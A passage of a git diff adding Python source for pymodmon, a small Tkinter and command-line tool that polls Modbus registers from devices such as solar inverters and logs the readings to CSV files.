+ ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in 